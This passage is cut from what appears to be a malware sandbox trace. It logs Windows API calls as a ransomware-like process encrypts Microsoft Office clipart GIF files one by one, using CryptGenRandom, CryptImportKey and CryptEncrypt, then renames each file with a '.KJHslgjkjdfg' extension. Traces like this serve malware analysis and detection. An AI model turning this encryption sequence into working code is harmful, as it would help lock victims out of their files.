files\\microsoft office\\clipart\\pub60cor\\ag00169_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0191.993] GetProcessHeap () returned 0x2ef0000 [0191.993] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0191.994] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0191.994] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0191.994] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x1, lpOverlapped=0x0) returned 1 [0191.996] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0191.996] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0191.996] GetProcessHeap () returned 0x2ef0000 [0191.996] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0191.996] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0191.996] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0191.996] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0191.997] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0191.997] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0191.997] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0191.997] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0191.997] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0191.997] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0191.997] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0191.997] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.998] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x14ff, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x14ff, lpOverlapped=0x0) returned 1 [0191.998] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1500, dwBufLen=0x1500 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1500) returned 1 [0191.999] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.999] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1500, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1500, lpOverlapped=0x0) returned 1 [0191.999] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0191.999] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x15d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.999] SetEndOfFile (hFile=0x130) returned 1 [0192.001] GetProcessHeap () returned 0x2ef0000 [0192.002] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0192.002] GetProcessHeap () returned 0x2ef0000 [0192.002] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0192.002] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00169_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00169_.gif.kjhslgjkjdfg")) returned 1 [0192.007] CloseHandle (hObject=0x130) returned 1 [0192.007] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76a6b100, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76a6b100, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x2420, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AG00170_.GIF", cAlternateFileName="")) returned 1 [0192.007] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00170_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0192.007] GetProcessHeap () returned 0x2ef0000 [0192.007] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0192.007] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0192.008] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0192.008] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0192.008] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0192.008] GetProcessHeap () returned 0x2ef0000 [0192.008] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0192.008] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0192.008] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0192.008] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0192.010] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0192.010] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0192.010] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0192.010] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0192.011] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0192.011] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0192.011] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0192.011] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.011] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x2420, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x2420, lpOverlapped=0x0) returned 1 [0192.012] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2420, dwBufLen=0x2420 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2420) returned 1 [0192.012] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.012] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2420, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2420, lpOverlapped=0x0) returned 1 [0192.012] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0192.012] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x24f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.012] SetEndOfFile (hFile=0x130) returned 1 [0192.015] GetProcessHeap () returned 0x2ef0000 [0192.015] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0192.015] GetProcessHeap () returned 0x2ef0000 [0192.015] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0192.015] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00170_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00170_.gif.kjhslgjkjdfg")) returned 1 [0192.019] CloseHandle (hObject=0x130) returned 1 [0192.019] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71e1fd00, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x71e1fd00, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x1398, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AG00171_.GIF", cAlternateFileName="")) returned 1 [0192.019] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00171_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0192.019] GetProcessHeap () returned 0x2ef0000 [0192.019] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0192.019] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0192.019] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0192.020] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0192.022] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0192.022] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0192.022] GetProcessHeap () returned 0x2ef0000 [0192.022] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0192.022] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0192.022] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0192.022] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0192.023] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0192.023] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0192.023] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0192.023] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0192.023] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0192.023] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0192.023] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0192.023] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.023] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1398, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1398, lpOverlapped=0x0) returned 1 [0192.027] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x13a0, dwBufLen=0x13a0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x13a0) returned 1 [0192.028] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.028] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x13a0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x13a0, lpOverlapped=0x0) returned 1 [0192.028] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0192.028] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1474, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.028] SetEndOfFile (hFile=0x130) returned 1 [0192.031] GetProcessHeap () returned 0x2ef0000 [0192.031] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0192.031] GetProcessHeap () returned 0x2ef0000 [0192.031] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0192.031] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00171_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00171_.gif.kjhslgjkjdfg")) returned 1 [0192.035] CloseHandle (hObject=0x130) returned 1 [0192.035] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a04e500, ftCreationTime.dwHighDateTime=0x1bd4e61, ftLastAccessTime.dwLowDateTime=0x5eb686b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2a04e500, ftLastWriteTime.dwHighDateTime=0x1bd4e61, nFileSizeHigh=0x0, nFileSizeLow=0x1126, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AG00172_.GIF", cAlternateFileName="")) returned 1 [0192.035] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00172_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0192.036] GetProcessHeap () returned 0x2ef0000 [0192.036] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0192.036] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0192.036] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0192.037] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xa, lpOverlapped=0x0) returned 1 [0192.039] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0192.039] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0192.039] GetProcessHeap () returned 0x2ef0000 [0192.039] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0192.039] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0192.039] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0192.039] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0192.039] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0192.039] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0192.039] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0192.040] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0192.040] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0192.040] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0192.040] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0192.040] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.040] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1126, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1126, lpOverlapped=0x0) returned 1 [0192.041] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1130, dwBufLen=0x1130 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1130) returned 1 [0192.041] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.041] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1130, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1130, lpOverlapped=0x0) returned 1 [0192.041] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0192.041] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1204, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.041] SetEndOfFile (hFile=0x130) returned 1 [0192.044] GetProcessHeap () returned 0x2ef0000 [0192.044] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0192.044] GetProcessHeap () returned 0x2ef0000 [0192.044] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0192.044] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00172_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00172_.gif.kjhslgjkjdfg")) returned 1 [0192.051] CloseHandle (hObject=0x130) returned 1 [0192.051] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde4d3e00, ftCreationTime.dwHighDateTime=0x1bd4e56, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xde4d3e00, ftLastWriteTime.dwHighDateTime=0x1bd4e56, nFileSizeHigh=0x0, nFileSizeLow=0xf7e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AG00174_.GIF", cAlternateFileName="")) returned 1 [0192.051] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00174_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0192.052] GetProcessHeap () returned 0x2ef0000 [0192.052] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0192.052] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0192.052] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0192.052] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x2, lpOverlapped=0x0) returned 1 [0192.054] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0192.054] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0192.054] GetProcessHeap () returned 0x2ef0000 